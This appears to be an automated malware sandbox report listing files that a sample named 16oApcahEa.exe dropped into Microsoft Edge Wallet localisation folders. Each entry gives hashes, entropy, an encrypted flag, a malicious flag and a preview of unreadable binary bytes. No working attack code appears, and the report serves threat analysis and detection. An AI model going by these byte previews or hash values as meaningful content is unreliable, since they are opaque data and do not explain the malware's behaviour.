SSDEEP:	384:5EGQ+1mW8l+4kxSXkscTPguF7fINpR9U3lcZD4MV3QcBHCI:5EGpmnlsNnDZkNy3ut4MnCI
MD5:	F0CF2AB8E46A78F823AC4A6517C461C3
SHA1:	FF5D5B1BE5105AEB7746DF3489CC20894A7F083D
SHA-256:	902CCF23B83C0BAD90623E97C01A5EA091D6BB957F784D00FDFBD619DDD4CF81
SHA-512:	A6A9F7F4775AF219396CD8E57C432CEAA17FD7FE68CBC32E6AB74C9D9F7AB1D2268504509032DECB0A61D46AC400F47DAFC18F7CD30FA6DF6DC8874F12CA9A52
Malicious:	true
Preview:	{. "RO>X..N.;l,.......}...c'..#...e.E..DO+P..........T>..Y.YH#...{z.C..C}.G.].N.....9Z....#.[\.^C.7.~^a...A$....M...s.N.....B'.;.F..:.7o.(.H.YN..a....b..#.sH$..M...k.gj...d<..<....xJF..Ui.>X..@...y'..T.,._v:_c.g......E.a........r...D.....7..yxm...m.......;C..=....P......<A;.d..."....+l.... .'.f..i$ZU/.X....J..5&I...<..{.......B8.C..w.^....J..v...Q.v..2.={P.....~....,...a.PqPa........>{O...gN...A)1....<....4.c\|H<..c.R..m.5.50..#.........y1...T.....sj...U...?.........X.C.Wo.\..7E...a,......%..s.7E.#M...K.42.3...c........aR.....3....].bl..(.y.u...B.)d.U^?-.YB...y2t....zG&...\|.g..N....ZDd..U.rEG..o..[.......I.S.w.V.0........m...................\|....4fb5.w&n.i........8xm.N.....D..............1....[~..fh..#...K.A\|......>...k.e..Q..&.M.{.6...@v0..'.W.[P..\|,..F........q.BPS.bO.a.N:r.o.m.`%#..,EK....skBdHd...1.9'%./..=}......L ...{..Eh........8......u_D....D....~Q. .f......s....S...Y..1a'..`..mo.t..*.v. ..y....UR.\|.....)...N#........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	14512
Entropy (8bit):	7.987935537100066
Encrypted:	false
SSDEEP:	384:rkw9qIUT3gB5v7ZdBN3sjilVhaYc64WxqK1mx8:d9qhTwBFddBN3sjWV7x1mx8
MD5:	A4BF1E7A9DAF78727361FDD989D01B2B
SHA1:	9350DC2DAAD3798C3AEA6A83EE5A3E96F081E5B8
SHA-256:	780EA7E4000302A1B853FE079CD2157984F0EE833B212ACCB218E2B45298282F
SHA-512:	4546A643FAFC47F28F321086D7AB4128BD46EE1805E00E16F1BCEB3F804D0C396A9EC1A68C95812FE4B5267BE01BE5199A0A11CDD75AA4303562991B454BCC94
Malicious:	false
Preview:	{. "..9eEui...qX....B...ee....,..../..g...ey#..wU....l..u......Z......Xc..Ni..q...wC........s...F...BW.....-......M.9E...'..y;.x..5.^N.z...P..-.OP.g.4......&...]...F..x.pu:...o...ZO@.ga.........C.-...@.w:.j.j. .....`...T..H..E..H.''.&......:..tfa!C4.....%.71.j...K....e.>....H.0..<..3.8...\|u...{2.35.c....2Us7@.q..........2.p)'... ..#q....-.x....[]r....k./.5..Mg...`....+.}9[..t+....\x~[eS...?.../Q..?dh.'P.O.T.}...u.l........a;sVi.......M.. .......+..$.aYiD.G..f.Z......~?..&............._X.".@v...\.n......M.=_...#l.L.qT.NuS.>....5WUw..D.od..&...E...c...B..i.J0B.`...C3....s......<..{......o..:[..2U.K..\..C ....0..3.$.C...\_..'E.H...g.}.v..........`...O...M.%%n..N......._...C....4....)s.!h+i.'..).....qA.{..+..Ea..g.}......._S..C.>).S......K.u.....L#...X..yf.).h1n).2....cOs<%..,(;~x.6;-e...k..V7....{pSta..-./.h&Q.mc..S].....t..Y\|.]q......U5n..O.'.....C.dQ>.$.&>..X.U..[=jAHO...?O.6.ki2...9.:..eU..Tt.3H...n.\|H`X.J....uD.c......+.a..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	13208
Entropy (8bit):	7.985318605351446
Encrypted:	false
SSDEEP:	192:7T7F1xatuNcdvItVrVEStNeHTBJIzFx/oWOOvoYC9H/5UWmjj+eHPWGh1ppp5i7c:X7FWtuNRV9HeHTBJgvNOf5U91v342eyJ
MD5:	4ED3762FFE626DA31722842CFB33A29B
SHA1:	433A55BCB73365C08DC8F82AF11C54962FD0D29B
SHA-256:	EF76CA1D7FEB5E1A1E71041F395E629316539E10EE3628412000D13B47162251
SHA-512:	9F0EC35A2983D16DD2B396805517C629763C0C65C383877A5D5E1926883250C3553728BD15B5CFCCF7F4BEC603003A4DC150088C083C2A414B1025E797A05420
Malicious:	false
Preview:	{. "-..m...g..\|w....s..TR}. ..}u.l..i....i@...........1.8.M.<e.jt.u...To..#..?.Q.?.c.n.=.zDw=....j!..\.lXl...).....8..#.]....2.SY.7id.@/ 87.c:.LC....A...SS4..M..F.@ &..f....{.\|D...C`..: s..^].f.~N.P.t.....l3[.D$.\......kf..$.N....y...3.Vp;$...EM.=IaGu........l.p.i..zU.W\_..[t...]..x..R-.q}..W^..`P......a.M,....b..+...... q\-..]...}k.....'e..#.....,h...m...>.}....b].Nx.z.....V4sV.+\......A.N;..H...;.v.}..^.7]...L\|u(.EW...<6H...,...E.>t.......(H[..GRQ....K06W.3..x....2;Ig..K.............f...8..T.....E<...I.....4...q..ak........MPj.../.hG..r.....YC R...,I~...W..u.U......B4...uDx.O......`..qU..w.....A.J{.....u.1.\|..-Q...`.h.l.hp...AZ.N.of..I...{...z~..];}..T.c......y .2.........k..V4....q'............I'.f.....BX.....[..g:..=..0.7A9..-..z.O..[..#.9..Z?..O.m..v..@.....uD'.f.=Uj.~../V..4..(.;.g..K..l.[.?Dc.rB......v.:<ts....lE..k.#.x....\|.Y.v...Ar.\....{.....i..%X..:-w%.z..j.^..ZK.......N;....YO..Nv.qm.j'?.........3..6x.."....*..5....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	13663
Entropy (8bit):	7.987695201238683
Encrypted:	false
SSDEEP:	384:Pc4ufN47Vz/iPojwRm1KtR97vSl0Z+1FL41WFXVACxZUs1:Pc4yUwPJRVpPZ+1FLBFXqUUE
MD5:	09EB0212F3D19DA9277CA6F44DEBFF05
SHA1:	EA6274679FDA125D20E331F4022D786A9C1FD2EC
SHA-256:	BB6765613A6B86C799772A66C4583C9FAE8CECEF7023F3195E08469A19B1D393
SHA-512:	BBDA4116C1D0FDF4FF1178556E8547EC3EB24A059BED290315BADB5372E6669B3696BF6117A1EA97D386CCD288D9E65EA8C7723917F1345F7F736E6FFD3221A6
Malicious:	false
Preview:	{. ". ...8........r.Z<F7j..\|Z.{...#......Z%Te...V...t...I.....s.M-.^...)...ed).gwo..[J.a./c......Bo..%.. ..y.Gb].'* ..@.....(.<..wnKMN.0...i...2.+..5.....:.Lg9e.J..4.j..r.OF................WRf.)PC..#aB...Fvj......K.....8......@0..td=.[./.o.......QPW..#u...z~...'...7k.......+..(J.+5.x<.0.s..z!.R5.!.\|..P..0.p.[...CQ.......UB.Q.u..\|....H~j..OU.d.......e.=..+...-....(......hK.x.)..a..40..S.Jf.b...%......^]....x.~.....j.F...7...~..{....u...FX.L,.2.(...!......I.3u.A.y.Ht.....z...e#...;.2....B3-?a.G....8P>P....Y\|.^..E...Zn.RWc..Rn.\|....7...1e.#.O.E\|....M..R;b)..@e.8...........Z\.X:z#oM.u.dr..2..n.ZR.$.....#\|.+...........].`....).@j..EM...?....\zV^e.......R%./.k..G.7.._\|&......D..u....m..;l.<i.w.8..Mb<.'.W.0B..+`pc%h.K....gg}i...rDK..76.dfu.x.v.......<.4.;N..\L...!...Lb6......^..O.+..,./...fp.a..8W.AM..._.J.B6.r.%..$....iJ.U..C(.vu.:=..c.....J74..>...K..<.p......%..s=<T..P..].....&..q(-j.[At.>A,['QS.hy..2.._P.i...`s...:I.4,.*wDP.h.._.8.....O.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	73624
Entropy (8bit):	7.997319160274476
Encrypted:	true
SSDEEP:	1536:Av1W3Fv0tE76DL9rUvZ9Q857B6mIwKl+fAXuDtbbTmjk81pcpuFT3W:M1W3pizDxwvZ9h99vQ+IXgtbvmjkTpuk
MD5:	BA56E9A2720C84A6BC87EA82B524891C
SHA1:	30F9E1BF4D7FC8860A39A4BEBAAF48E4DAD1CAFF
SHA-256:	5FB474938D807653EC1F4DCD6ABF8218EB35F601A8B9E6BB54A191C2B2C50816
SHA-512:	CFEBF0C3674EEC0FC757136E8E6812D5D254FC93C725123AA555C7E07CBD8B9A713BEA4B1152DD97F31D757D3161F07B9DDD03D4FD157915BAABC57FC4CDA3FB
Malicious:	true
Preview:	{. "..qS.g.D.!.<...W..........}...l....h?.....N.G].f&.....)...e..(<.O.5.......U\..p.....<5..jK..j..n(..).....C...ks...4.y..f..U".....9v......l..+...{..'.m-...cl...'J. .>V.$o.$..;P.Y1.L...z.w..X.&..i=....oMH.......gjI$B.'.O1...s.../..iQ\O.....sI..G.gat..I.[..O.D...tf.8.1.<.A...ud?L.......P.Z-.i.....74..vI..Hf.Rl.!~b.U...=..qgy..i...........N..K....1._H.ckX9..'kY..O..%O... /.<B......z<...>..........7.,.....(..O_....F.....iF...:..'.#.._./..Wd...VNM.+.f.{N.O..z...5...\Y.Nl/.*..saK.2........_G....\.y8..s[.x.....1.2.j.z..@...R..K1..y\|...d.L.>.>z1?.-...S_.a;D...)@.........DP.f....+.3....#..Q..#......K..&\.{.....+w...R/o...; P..L..S.g.8..R.1.G..Z.s...EM......Y.@.4.b/.5Sa...^.oN9........U?i.d..;.we.J...a)..b\.rj.H...U....j;.=!...q....O....$...k..CA..Y.P...,>..J.qO...R?b.ag....d.T..".....B_....<.=.W3.AD....A....<.....x./...s..f.)......4..c..<V.......x.I..;s..I%p.....u.c.?.Hz....H.4..F..3.Yt..VI.9..`....=."G.J~...?um.&.aW!v.#..i...}.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\de\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	63689
Entropy (8bit):	7.997361360651665
Encrypted:	true
SSDEEP:	1536:mhdFeQ8x8EK/aA046EJxvQ9474dUNt2eA70nPIYkmwL4aXNCg9:WKCbEEXQ6Xk4nPIYkx8adD
MD5:	5A324226581FE9A0FA77D4C82F72CE80
SHA1:	1F6921E3C815E61E922A9415EE2EAAE83391F972
SHA-256:	12E6FA8547D4FEF396B1E6DC84D846376ED45436B42FE1D5EA0B2D3333A93123
SHA-512:	C76C46F7155858393C1C1FB14C4D26186F193965868A7E86F192457EC562CC65D00CEB1424A70236B893E405720A0B02C36D8138A1D1A13310EDB5BFA32D6F33
Malicious:	true
Preview:	{. "-D.L\|..M.u]!..~H....0..JX..I..d..+.3..L....J&......f..E.s.......#3.q...W~%<.lr.....J~...'R..Mi./.`.`......Hr./.64M..=..y..o..,U..:Fg.-..Q.C.....a..U...BF_u..'.{...w....{,b...54.{...~F...Ck....B\|`a.$...Q`y......Z.j....+X.......@p...9.j..\|[.U..S..>....sr..%"G+~.&.;.!..P.\. ....q...=....F.1../S..s.Q..G{..,Gl.._.....!...U. aj...u^[..\.]...E).t.n.x.Z.-...k..t0.<b.........P.T..L.k.y.5.>....O...R.Hz...d..8.7.v....>..)....C...tP....m.UC._..0..y9...W..f..#ZL.?s..~..b_.].....C....I.oZP..'.P...]...K.d=@p.......W.....B...Z.}@....A..-.z;=Z........mnY..b ....>n..@u.\|>8KU.g.2.M...?..6G.H.s/.....cxE.;..Rn_Z....p<.....E. -WqXV.)............e0......P....zQ\.....4S1_.....j.2..3;n8.....z...R..9.J..4..R......m.=.E....(.?....@....6...B.U.3".._....g.."uL&S:.t.,..x.j.,6...2..\..el..o...n.......t..."...S.\|P............v...S.'..C.i....d.~.5.l..P....~pt{f.j..k.J.&t2...4j.)W.S.}.....k....n..LG"z..`.(..3.:.\|.h$..e.~(..I./k$y.V.U.z.a..9.~.x.^.d.<.....0....3.N.._....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	54912
Entropy (8bit):	7.996739677672628
Encrypted:	true
SSDEEP:	1536:nk3k+8XxU5BOUbpxlIaQ6Jy4L+nzxR579sTU6rMSaKI:k3kzhE5Pl5y44T5RaS
MD5:	499D2B54477D8CFE64DC753D37413587
SHA1:	248FD073090000A04C70DB3524026E8ED9DEF54E
SHA-256:	79CD10857E27C2DC133F4B114C789421C2D35C388B5D327ED33172076DE14DA1
SHA-512:	879DD84F4385041DECB22A593A8676C442B1A50A740CED29C30340D1EF7A4EC0E338FF9590254727B5CBADE8ED882947328B26B79FEB36ED61953684A199B550
Malicious:	true
Preview:	{. "...J.`.....&[.4;/......;.j:........k9G.;.....Qi.g.9.}.m...4....\(...6.$...+Sc.....g.M..Qck..T.....}..h,....U.....k...-.....!8..m0.@.......0..y...>v.16..w.....Of...t.@......./.I.@:.w..<..?.3T.{...{...8...z...Q6.`.;h.C..R...O...{.t6;n.....W.....W..B...&h.@R.+....FL..Q.(..{..#nS%.X....C..8o..#....&...k...a..fx.B....M.\..p,.ey..r.r>....s.. v...6..Z.....6............L]..P.^.{#..l...S'..GA..bzL..._W..U..i.................&..../CD..V..~p...G.l.Vmn...E.0.M.XBB...p3.....{..wn.,.Z..\T..6.....k......57.lr0H.O..'...lO.n.!.....8[...E......o.e.h..\..4.v#9.W.Q..s......".C...1b.4+....tE..t.n.].^.yS...{b...s.K.t..".......e\{.~......^.M.sQ[..[....h.V.m.5.}.F..&]'........A..G-y..-dU.n.DU).h?^./$.5.&.......&.....J..i*....h...........y9..j...uw4....%.Q.g..I..K%.V.N.f...B_.v.T6..Wj.-..6...>..T2.....'.g....G2;..~A..c...R.......Z.I.../.g(.'.n.\.l.jz.i.%3.sG...jW...9.W6+`g.k..8.....!.....u^.&..vE.'..%.r7.J.......&.bj..R.~@..F&..'.J.....WF^..0.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\es\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	61278
Entropy (8bit):	7.997393981970962
Encrypted:	true
SSDEEP:	1536:eS4rHdy7BgkDF4YZ8SVn9LGCdV0Pwc2wUa8ud7mQ:8mRDK2N9V0P3z/DyQ
MD5:	3359A81BF81085002A1997CF67C6ED57
SHA1:	F297931087D3FFF9D6FD98D8BAE4973D9B6B8C5F
SHA-256:	35282C72A3B764D39A4777E74660D13FBEF735AB764654A6BDE8556242327B38
SHA-512:	16BDF898ECDE37EDC1F2DB80E2E92EECDB6CEF46436214C8956BCC7D6DAD2B1B35B93FDB2CD8C7C42670915C5BF11B594668155E6B8A9F5B9D8B0182197CFFC1
Malicious:	true
Preview:	{. "v..N,....-.%K.W)`....Nt.V.n2U.!....c....<A..(.G3.-..?.xf...\|...{........d.J!.P..co!.b#h.....k.2...N.W^.e.._a\|....)&),.'W...Y.....O)...I..)....o.....BN..H.....@.N@S#.j..M._#......H6.B`..B........y,...-].K..s.S32..H=r?]$j...N..d..+..6.^[......ly...v0....l..sa..2.r....T..=G..^...........P.}<...U...TV.h.M...f....w1<-.S.\....m.]^..$MB....Nc......%...V1<@......../4... .]..7x`.<..+.....8')n...K......{L...V.\.?J...2.a...6%9.".....G.#..M.Gr.~M..sA\..E...c..B....1.;.b..%...:.H.......%.5pu.8)t..8..\......8.F....l12)..Ut......n.K#e.Z.Q.tQ.R...4..k.Ee.P...HZl.Nj.?...b.o..y.Ve.Oc`...U.6.c(m...?......S4.....=................f'.=.`. %n.+.V... ......Ww...Z]..........[.kr6........y.f%f..G..1j...X@a...6.^.i.5...Te4\]..."..........'.+.a..C..v.2.+&.j...;l.....+O.~PO....T...........v.[^.a.f...3..U....7.,\..._..t....+E..6...<vc....i.#P=0....)'r+.j.\@.On...9..b.<....K!..[F...'0t\|..d\|.r..d.. (...0...N3j~x..B.P(.......].2.${....15........;a.._..:...L;.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	64991
Entropy (8bit):	7.997262554764285
Encrypted:	true
SSDEEP:	1536:xRqBW3UzJAcvEaxOFulz79iuia7KPv4D7EO360cYLeQCbkpQF:xRH3uJRvEQOMlzpEa+Pv4DQOoQC46
MD5:	347E76F2169489D902CBC428CAA37727
SHA1:	FB5E36EE818E945B3D58089E74C0F5D3946C2472
SHA-256:	11EC2C58ACC04339C098E665856BB408EFD3CC4E9FEAF3762B944EDFAC2E5276
SHA-512:	87C8654A788B5ACC65EDE76859ED8A06233E7C784A12C98D206098E2FFB10DEF74484214250CFC1238F02B497EF18FFF5248443AA56AD3AFCAAD021C6B5492D6
Malicious:	true
Preview:	{. "..Vo>ze.O./..D.x...9....v.....D2g.....}..i..H..J7..}....W....As.......m9B9......o...8w..#.c?..g=-.E....`\|..<-.~@.6...h.de)I@.]....%...1.t.[.....S........T.....N\...=.uXnG..1>zH..90.,.p].c..$..`..E@.=..k=...c.Z..b.YG...QA\|hq..>... .4.....,./EPWW..Ic]L..'.>^._.IH.....$E.m...).....9.#3....>v..\|........W....9......d.z..:ZVG.g.p.7.2..mL..../....f.s..v.{....4..+H..Ij.m.....W?{.^...Wd...Lr.=a.y)....<....y...!h.k^c%..".C....."n....N.%.+....-SP...*:...K]]..B0...4e.>.V........!Bf.-k.k?.........,...)..r.)Ke. !...'..Q.A..7.......q?..C....%.&G.....b..$.%..x..y.Z.r]..((K-.Z.Ad....A......t.dB.g.`...7.._u..C}..5.A.0\.s0..X.C....o.zQ..X.....fx.v..{YKI3....N_a,c..+..Q..f..E..$..E....<..RP.o.N.2...bb....+VoP.b..X;.vC\|?..p..E.Y{...a.J5".t..`..=..7.c....R....ie.U@.!..Me.uJ5.'... J..B.@.j..w%...3.B#6b.y...$.h5..-7P...8..G$.8.bq.WYm.1%.>.A....a....1V_,.#..5K\|.ij.b...x.2Kg.........HE.f....n.}.{......{@.4..7../V....~-...".\`H2.J".-...I.%...L6q......cpY..Yx...aO.IX..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	64983
Entropy (8bit):	7.99690953479756
Encrypted:	true
SSDEEP:	1536:h0yIs7W2uh8rUFmI83EPis6tgWnsyzQ26wwMrcuJm4K:h0G7W28853EPZWsyJYMrcuJNK
MD5:	21117D09103E0AF9D93FE55E0CA71EFC
SHA1:	EA71A706B731E8010E42F328D883B271CF84953D
SHA-256:	251E6B0C84C3D48F3242CF448E0B564B9B5807A94B3C03203955FED6A9945F5C
SHA-512:	CEEBBD6432597240F844E21885A73CBC7458F01676D5FFEB496CAC7B66D9ED3845FF603B555764ADC9874B60C577282CFEC50456E75970E4DEE6249EAFEC7583
Malicious:	true
Preview:	{. "..'wr.<..I./%.%81e}.b.b......R'1..<w.c.. 5w....;J..NHl"k.......\|.....XLA.QH....]SI.......-..o..f..aY".kT..Wi.8..5.......H3p.........1.J8..WQ.Q.5.[$,z9..G..Mu.V.....b.c~%..A?...?..J9...Z.my....Q.sRltZR$g.W..NN....7..,.B3...4n....t#.N..!TS.....{.....4M.!..Wh%.h.2>..h..lO....B.b.pY.0..\,.m2.....4.e...RU..1..hd.QX..-.t....i...6....C...."?.i....<......D.^K..Yl...z/..V.Ce.E..S.8......P..)..)\|..e.e.\..G...um...........y.."./.'.!.R...Le..;,\|.....:.....t.......}.^.K...Ivq......M@.Y....g=........~....S-EE&..Or..W.J....C...i..#.<.U.K.....".w.2...k..7.,J.a.v..s.R_.+......?_.u...o....q2I.%....pF..............,.....oEv8........r...Y.2g..w..2.....a.\Xxz.?&.3..d}.I...3l..._}{$7T.y..W@....."..s.=...KK.I.Mx._&....2Dn.'GU.i.].S.o.....#3....SX_5!._s.0,..V...X..u/6b......j.$...h.J.....[...lRC.2.....2..W..z....I...Ir... .'..<..s$.h.{.g.cp..d.[.....4.y......7.....z,2............e..&..2?:.I..9...%..%..~~..F...Lg...:v.G.....F.D..Nm..=._.C....}..`x.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\id\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	58407
Entropy (8bit):	7.996851001433573
Encrypted:	true
SSDEEP:	1536:nT5b+V7Pn3KEn4u8yBWOfEaJHxZzIc+kWB:T5yV7P36u8OWONJHxuT
MD5:	386BFE9521AC705000CFD827D5CC9A7E
SHA1:	FB38C813B3A3396C62F4DF6F9B9E674A0E62B278
SHA-256:	7317EF0931AE63F23F2B73E62DD39BD39ED6CE574B0C8EA11009F7E4E2704260
SHA-512:	CBD6D30C743AC6E88440A3B2BD93EDCC30D30A48E157DD12251B344030EAABF6C3E84FE6FF1BB41D57A331634A130ED1AD68A61DDFD034B251EAF426E65F76B1
Malicious:	true
Preview:	{. "..X,Ci..`N..U1.@....{.qW.#.%....N.@]h'...me ..Ry..@...t....t...s...k.<{.>B........Li1.9.x-j.V:".K. ....6...mk..;..tiJ.1zi.T..R.)..'c.D..w%^.7..}L..K.-.;.. :.>.....\|....x.NH.....-..q.a...H@..A.......H.... ..r.1N..o.b...h..&.}m3..m.....$o.....\.6wE.uP..%....\Gm.."p.....n..l.......1/..#.e.w>..-..~ k..J.e..../......H./.\L .....e+yz.mUR.Xw.....F..bu.'...e..T......0....bj<OJA.\|a.B....%.6.G..e.u.:.}....q.V.'w.G..b...%...z....N....P0....T.a.@.C.'c0....\.g({k...2..../y./\|~...._..........^BP.^..R.U.D.......C@....e....<>.U..>.7..........]..L....h..]o.....6O..2.T..RAs....&.=.....;k. :.V...2.T.].4,.e.................[k.....&. .........-Xd..d......&)l.........U.@..>5..q.X....!.....q..u.i...Ll.0JDI..#.{..b..,s.G......?;.'..^.0bi.#...B.....o...,...Q.M.W*_..o....6.../..1.....4..a..miQ..Ds...CU.({.......n.q.[.2Q...2...0i...F.G.bG.....yw.O..@Urx..[.K#]ZD..0=#O..iG.......z.8..x.h.U....f.....4.3`.....c..K..0..b...FX.?...oT...X...;[..9..(..]9.i.'

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\it\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	60955
Entropy (8bit):	7.996935443589472
Encrypted:	true
SSDEEP:	768:+VGwGExsNSDSWo+45oEah0TOo2kdX9hKCVfl6mxCeQFvY2Tlv42thmjb2OsogmaX:FosoDj4H209X5QFvY2TJbmfsQZ2Vncjg
MD5:	7C3F855FF26B04E78004B4FD4DB15262
SHA1:	BF02C1F855FD407A5A445682D6FDFAF26EDB478C
SHA-256:	033508A08B9C77C44BBEF1BC1AEE2B09ADC20455A231163FB0B158304F203C18
SHA-512:	5C43B201DE832F36EDA1A0C351A52E5A107533503EEC360D90F8C511F85A370443C9ECEEAB436640E75675288B1E271C66C45E11B20FE0BCDA48B11AAC45A755
Malicious:	true
Preview:	{. "B.)....S...>cn....'..2c!..?.A>......V.,.j_,.@.d.z..nS< ..D........iG....>g....8.....{...h.......w.-.K)...&`.....X......:2..c......u\|"?...K........}j....[..s..Z3rX.6'o,.Y<.wt.h.....).l.6i{.J.$$.:..aa3....\|.0.\......!.[~Cn<...[Z.'V.....C....\|H1..n1..JnG..BY;(4....+..&....s......b...:..b]4..k.:.j..........&.b/..hz..%J(...{..X....hr....k..t.#..l.$.5..{.9...I0.9.,....C....N.J.........'E.7y)..x....q.........5..U.o8.9..q#/..L5..`..:.}y..x..`)...5w0.V..=j.G.w9..x......:./.....&...1...g......$.].y....l.MS.A......yH...Mq.v....O.?..{....\..i#.d.o..X...j.E.G.j..n..m`..4B.m.....;..D......<..I."..^.^.\.5\|._..h.lRfl....)6..^.....gbA...OS./.).1.r..$.....x9...,..i.u>..m........=<...VXA.4...>p.....q....tr....q.M...`\|...2.=....1..../M.)...x....J.w..4....w.........0.d!.J.......o..h.u...VW.....>.qL8..@..(...w.d2u..p..B.m....E.F.>../....c:..C..za7.J.rm....."...hy.S.&......ab...b.o.. >...hx.......Y./j.T...a......^!..z..z.4G.P.O.y&.....X).Kk...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	69778
Entropy (8bit):	7.997618914301461
Encrypted:	true
SSDEEP:	1536:c7HCcDfzxHNX0XRQnX6SlfvrXaTUCGouGPr3YiraS9Excp/L9GESz54:a5b9vnXNlfOjYir5kESz54
MD5:	CBD030FC1F11E16BA91202D6EBE2C7E2
SHA1:	C56DDD4607D98B3684CF01A2961B43239885590A
SHA-256:	8B762AB149523CE85A2344660081BC7E3152D93EC69C701ACC6A344C1CAD1CD2
SHA-512:	A8B2310C86914F886D74FBFD0D67FC13E32C336CC3EA303DF0CD2D5A60BC5EA1294DA61DC38BF6AD0AF62A0678A2B372C7CC26196E9F530E42DAFAD3B3EFD5CB
Malicious:	true
Preview:	{. ".U.s?.X.{].N......._%..WYy..t...S...s.t_....Hz{s...'`@..{.Al.}../2.,.......(.D6. l....f$` e..A.3.W.%T.z.HPN7k..I.}.W......7L..-..Fg......:\$r4.@..../.z...$....q.....<.;I......Uw..e._x..c....y..#P.....W.....{;......^^....g..Q_j..oPd..-._6}d....HI..\|L.....h\|0BvhC...\.S]"...C.F.../0...>K.e.e$].....o.&......=g.Z/9...{..%...H....H..+.r...8.Fixps .Dt.L.Ix.+_.......'._.X.'sn...RBO-...u.F`x[}z.0s.ZgNjH@..........p...Sv.W..._....h.Z]O8.2.~.W.....N;...%0.J.N.CW...p..Sn.:I.}.Hl6Q&...3..C.?=G....?.;G.J.Q..b".M.R.A.'..=._.>g6.$..<.IP.D2....8.....Rb.!...I.I..qc/>...../...Y..J...i7..Jz.....E....`.&.K.u.S.^...}..Qf...FV.A....Yp.7.S.Q...e......fE.......M...m....Q..e...R...&..m.%.Cs.R.....J`.}.yO...w..%l9K..=.X......9...m.v..V..z..QTo....;.t.......D.*..I2/T.R..%..i...j_.)..1.~.W{..)z...hE.}...dB..I...A.+.3~.2.<^z.....{.....7.dEa./.j.Cy....A.....H..........f..V)\|.......j]...jt5n.....e...(...y.. ......j.sl.....EF.Q.5m...}`..t+JxN.T:Z..[%.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	60006
Entropy (8bit):	7.997038767982468
Encrypted:	true
SSDEEP:	1536:x9JMVblCTuVf2ZW/4bCCbEqFHVe27pabA2cPPjCB/fPn4ppGoZvPw:6CTuf2ZWgbCCbEqFHV1FnH+BPibZvo
MD5:	B1EFEBCEBDB78AB56707F1F787CFE448
SHA1:	97EAD9E27A49BD4278901838C1EED87FF50BC9D0
SHA-256:	DB92B616A33D757C561EAE1C340BED19D1028B0657D6588A70BECC0CA38C242C
SHA-512:	70B9F2F10C2F32BEF3E5E50E9FFCB1EBFF0B0011E6073CE33708225557FD1A54F166B088E97CB5F2B39CEFA62CF9CB36C8217BA3EA81D7C22F10FE2AF7C6F0B7
Malicious:	true
Preview:	{. ".I....j....K5.O4.w.@......M.....K..\.<1].w.W~.....X..jw..@.O..<....O.Z.!v..RwZ.f..#...7.#i.7.s..r.o.v<..R..6...g.e;.n.k..d.. .... t..G..\|..>r......:...OH.X.y..x.1mt. .J> .xA,.9.$.?.KS.h...m..]..o1.n.y.(o....zS.vvE.I....7.,...;...bA....^..h..l.k..M..[...7.vj......^....?P...d.....PY.u...._""k5....@..d.j.W.$....E..Bs!.8....KI4...}<...y.b.),.2..U.(.4.=.m.4._8W..Y(.(..qZ.5.v.?......g.2.;..){..S-..E.b.?NG;..S...j+..vt.B....SS...<.j.`..cwq......&...E..^O.....X.....0r...6..x....l(upD.]B.rA....o.Vrq.\|...ri.{.[.i...j.`c.4.v.5...J.HFnq...0....2.#c.[.. ..y8....9vTR...)@........v.5,Hv..@.s....w.5.F.eV.."...3.G...2x{.)....l.Lr..~{..M....[.......{..x....S....n....#..m.[.U.]..R.Uv..9U..,...0MR......tnQ<.F..5....@.;..Q..D....X.....0)f.jE[.[..Y.P.O.\|.....5.._}im,D..-.PuK...w@..$...<&.hY.9hoha).o...2.......f.....\|..$Z.R.[b.M.0......>\.M0`Tm...Y.....o...}g.....ya...D'6.........4*...6.S.......t..0...@n#.O...W.dnp.w.....ON..@Ms....V...]..>@.&.Q...../...:.q

